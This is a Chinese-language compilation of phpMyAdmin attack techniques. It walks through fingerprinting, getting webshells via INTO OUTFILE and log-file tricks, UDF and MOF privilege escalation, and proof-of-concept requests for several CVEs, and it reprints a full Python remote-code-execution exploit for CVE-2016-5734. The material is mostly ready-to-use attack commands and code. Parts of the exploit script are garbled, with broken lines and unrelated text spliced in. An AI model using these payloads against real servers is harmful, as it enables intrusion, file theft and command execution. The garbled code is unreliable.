PhpMyAdmin漏洞利⽤汇总
PhpMyAdmin漏洞利⽤汇总
phpMyAdmin 是⼀个以PHP为基础,以Web-Base⽅式架构在⽹站主机上的MySQL的数据库管理⼯具,让管理者可⽤Web接⼝管理MySQL数据库。借由此Web接⼝可以成为⼀个简易⽅式输⼊繁杂SQL语法的较佳途径,尤其要处理⼤量资料的汇⼊及汇出更为⽅便。其中⼀个更⼤的优势在于由于phpMyAdmin跟其他PHP程式⼀样在⽹页服务器上执⾏,但是您可以在任何地⽅使⽤这些程式产⽣的HTML页⾯,也就是于远端管理MySQL数据库,⽅便的建⽴、修改、删除数据库及资料表。也可借由phpMyAdmin建⽴常⽤的php语法,⽅便编写⽹页时所需要的sql语法正确性。
0x01 信息收集
1.1 版本信息获取
获取phpmyadmin版本信息,在⽹址根路径后⾯添加
readme.php
README
changelog.php
Change
Documetation.html
<
translators.html
(注意区分⼤⼩写)就可以看到phpmyadmin的相关版本信息了,这个⽅法也是通杀的,只要管理员不把他们删掉。
也可以直接访问:/doc/html/index.html⽬录
1.2 绝对路径获取
(1) phpinfo() 页⾯:最理想的情况,直接显⽰web路径
(2) web报错信息:可以通过各种fuzz尝试让⽬标报错,也有可能爆出绝对路径
(3) ⼀些集成的web框架:如果⽬标站点是利⽤phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径
show variables like '%datadir%';
再猜解web路径的⽅法,⼀般容易成功。
(4) 利⽤select load_file() 读取⽂件到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的⽂件。
Trick:如何判断⽬录是否存在,往往确定了/var/www/html⽬录,但是还有⼀层⽬录不能确定,可以采⽤⽬标域名+常⽤的⽹站根⽬录的⽅式进⾏爆破,当使⽤
select 'test' into outfile '/var/www/$fuzz$/shell.php';
时⽬录fuzz不存在将会报错Can't create/write to file '/var/www/' (Errcode: 2);如果存在但是⽬录写不进去将返回(Errcode: 13);如果使⽤的
load data infile "/etc/passwd" into table test;
该语句执⾏后将也会显⽰⽂件是否存在,有权限能否写等信息。
(5)其他⽅法
1.查看数据库表内容获取有⼀些cms会保存⽹站配置⽂件或者路径
2.进⼊后台
3.百度出错信息 zoomeye shadon 搜索error warning
4. @@datadir参数看mysql路径反猜绝对路径
0x02 PhpMyAdmin利⽤
2.1 写⼊⽂件GetShell
可以通过写shell进⾏提权,⽽我们需要满⾜以下条件:
1.数据库root权限
2.知道⽹站的物理路径
3.数据库有写权限
MySQL 5.0+的版本会,然后在服务运⾏的情况下修改变量变量也可以移动⽂件位置的,但是必须要对⽣成⽇志的⽬录具有可更改的写权限。(Linux环境下可能会⽐较苛刻,因为站点⽬录是⼀个⽤户,MySQL是另外⼀个⽤户,权限管控较⼤严格,主要取决于权限配置是否得当)
2.1.1 直接写⼊⽂件getshell
直接⽤into outfile 直接在⽹站⽬录下写⼊webshell,但是该⽅法需要前提条件是:
(1) 当前的数据库⽤户有写权限
(2) 知道web绝对路径
(3) web路径能写
如何判断当前数据库⽤户有写权限?
执⾏:
show variables like '%secure%';
如果secure_file_priv如果⾮空,则只能在对应的⽬录下读⽂件,如果是空即可在其他⽬录写。Linux下
默认/tmp⽬录可写。
secure-file-priv特性
secure-file-priv参数是⽤来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定⽬录的。
当secure_file_priv的值为null ,表⽰限制mysql 不允许导⼊|导出
当secure_file_priv的值为/tmp/ ,表⽰限制mysql 的导⼊|导出只能发⽣在/tmp/⽬录下
当secure_file_priv的值没有具体值时,表⽰不对mysql 的导⼊|导出做限制
可以在mysql-ini⽂件中设置其属性
编写⼀句phpinfo⽂件,
select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"
这⾥必须注意要双反斜线,否则会转义,
2.1.2 通过写⼊⽇志⽂件getshell
读写权限+web绝对路径,修改⽇志⽂件为webshell
具体利⽤⽅法如下
(1) 开启⽇志记录:
set global general_log = "ON";
(2) 查看当前的⽇志⽬录:
show variables like 'general%';
(3) 指定⽇志⽂件
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/404.php";
(4)) 写⼊执⾏代码:
select "<?php phpinfo();?>";
2.1.3 通过慢查询写⼊webshell
具体⽅法如下:
(1) 查看当前慢查询⽇志⽬录:
show variables like '%slow%';
(2) 重新设置路径:
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
(3) 开启慢查询⽇志:
set GLOBAL slow_query_log=on;
(4)) 执⾏写⼊⽇志:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
2.2 User defined funct ion(UDF):
适⽤于Windows和Linux环境,利⽤需要的条件:具有写权限+插件⽬录可写(或者可以更改指定的插件⽬录)。具体情况要看⽬标mysql的版本:
(1) Mysql version > 5.1 时,dll或者so必须位于mysql安装⽬录lib\plugin下,当对该⽬录具有写权限时可以利⽤,查看:
show variables like %plugin%;// 查看插件⽬录
(2) 5.0 <= Mysql version <5.1时,需要导出⾄⽬标服务器的系统⽬录,如C://Windows/System32
(3) Mysql version < 5.0 时,⽬录可以⾃定义具体利⽤如下:
a 根据⽬标mysql版本写⼊特定⽬录的so或者dll,可以参考sqlmap⾥⾯的
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';
b 创建对应的function:
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
c 执⾏命令:
select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数select sys_eval('whoa
mi');                              #使⽤系统命令
2.3 MOF提权:
通过mysql将⽂件写⼊⼀个MOF⽂件替换掉原有的MOF⽂件,然后系统每隔五秒就会执⾏⼀次上传的MOF。⼀般适⽤于Windows <= 2003,并且C:\Windows\System32\mof⽬录具有写权限(⼀般是没有权限写)。可以使⽤MSF直接利⽤:
use exploit/windows/mysql/mysql_mof
set rhost 192.168.1.5
set rport 3306
set password root
set username root
exploit
0x03 PhpMyAdmin漏洞利⽤
3.1 WooYun-2016-199433:任意⽂件读取漏洞
影响范围:
phpMyAdmin version
2.x版本
POC如下:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
3.2 CVE-2014 -8959:本地⽂件包含
影响范围:
phpMyAdmin version
4.0.1~4.2.12
PHP version
< 5.3.4
POC如下:
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../%00    # 注意改下token值在实际利⽤中可以利⽤写⼊⽂件到/tmp⽬录下结合此漏洞完成RCE,php版本可以通过htt
p header、导出表内容到⽂件的附加内容看到。
3.3 CVE-2016-5734 :后台命令执⾏RCE
影响范围:
phpMyAdmin version
4.0.10.16 之前的4.0.x版本
4.4.1
5.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
PHP version
4.3.0~
5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
POC如下:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: twitter/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
d:
d:
payload = d
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
)
)
if resp.status_code is 200:
token_place = find("token=") + 6
token = [token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
用phpstudy搭建网站if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_kies))        if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_kies)    )
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
print(
"Exploit failed!\n"
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
利⽤如下:
cve-2016-5734.py -u root --pwd="" localhost/pma -c "system('ls -lua');"
3.4 CVE-2018-12613:后台⽂件包含
影响范围:
phpMyAdmin version
4.8.0和4.8.1
利⽤如下:
(1)执⾏SQL语句,将PHP代码写⼊Session⽂件中:
select '<?php phpinfo();exit;?>'
(2)包含session⽂件:
10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_***  # *** 为phpMyAdmin的COOKIE值
3.5 CVE-2018-19968:任意⽂件包含/RCE
影响范围:
phpMyAdmin version
4.8.0~4.8.3
利⽤如下:
(1)创建数据库,并将PHP代码写⼊Session⽂件中
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
(2)⽣成foo数据库的phpMyAdmin的配置表,访问:
10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
(3)篡改数据插⼊pma column_info中:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值
这⾥要注意不⽤系统的session保存位置不同,具体系统可以在phpMyAdmin登录后⾸页看到
MacOS:
/var/tmp
Linux:
/var/lib/php/sessions
phpStudy:
/phpstudy/PHPTutorial/tmp/tmp
(4)访问包含Session⽂件的地址:
10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1
3.6 CVE-2020-0554:后台SQL注⼊
影响范围:
phpMyAdmin version
phpMyAdmin 4< 4.9.4
phpMyAdmin 5< 5.0.1
前提:已知⼀个⽤户名密码
简单总结流程:
页⾯位置server_privileges.php;
设置变量ajax_requests为true;
设置变量validate_username 为真值;
设置变量username 为我们拼接的注⼊语句。
构造payload:
192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=(token和其余参数会在访问页⾯的时候⾃动提供)
我们查看后端收到的数据,可以看到SQL已经成功拼接。
执⾏完毕后程序只会告知SQL是否执⾏成功,失败会报错,因此此处我们可以利⽤报错注⼊。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。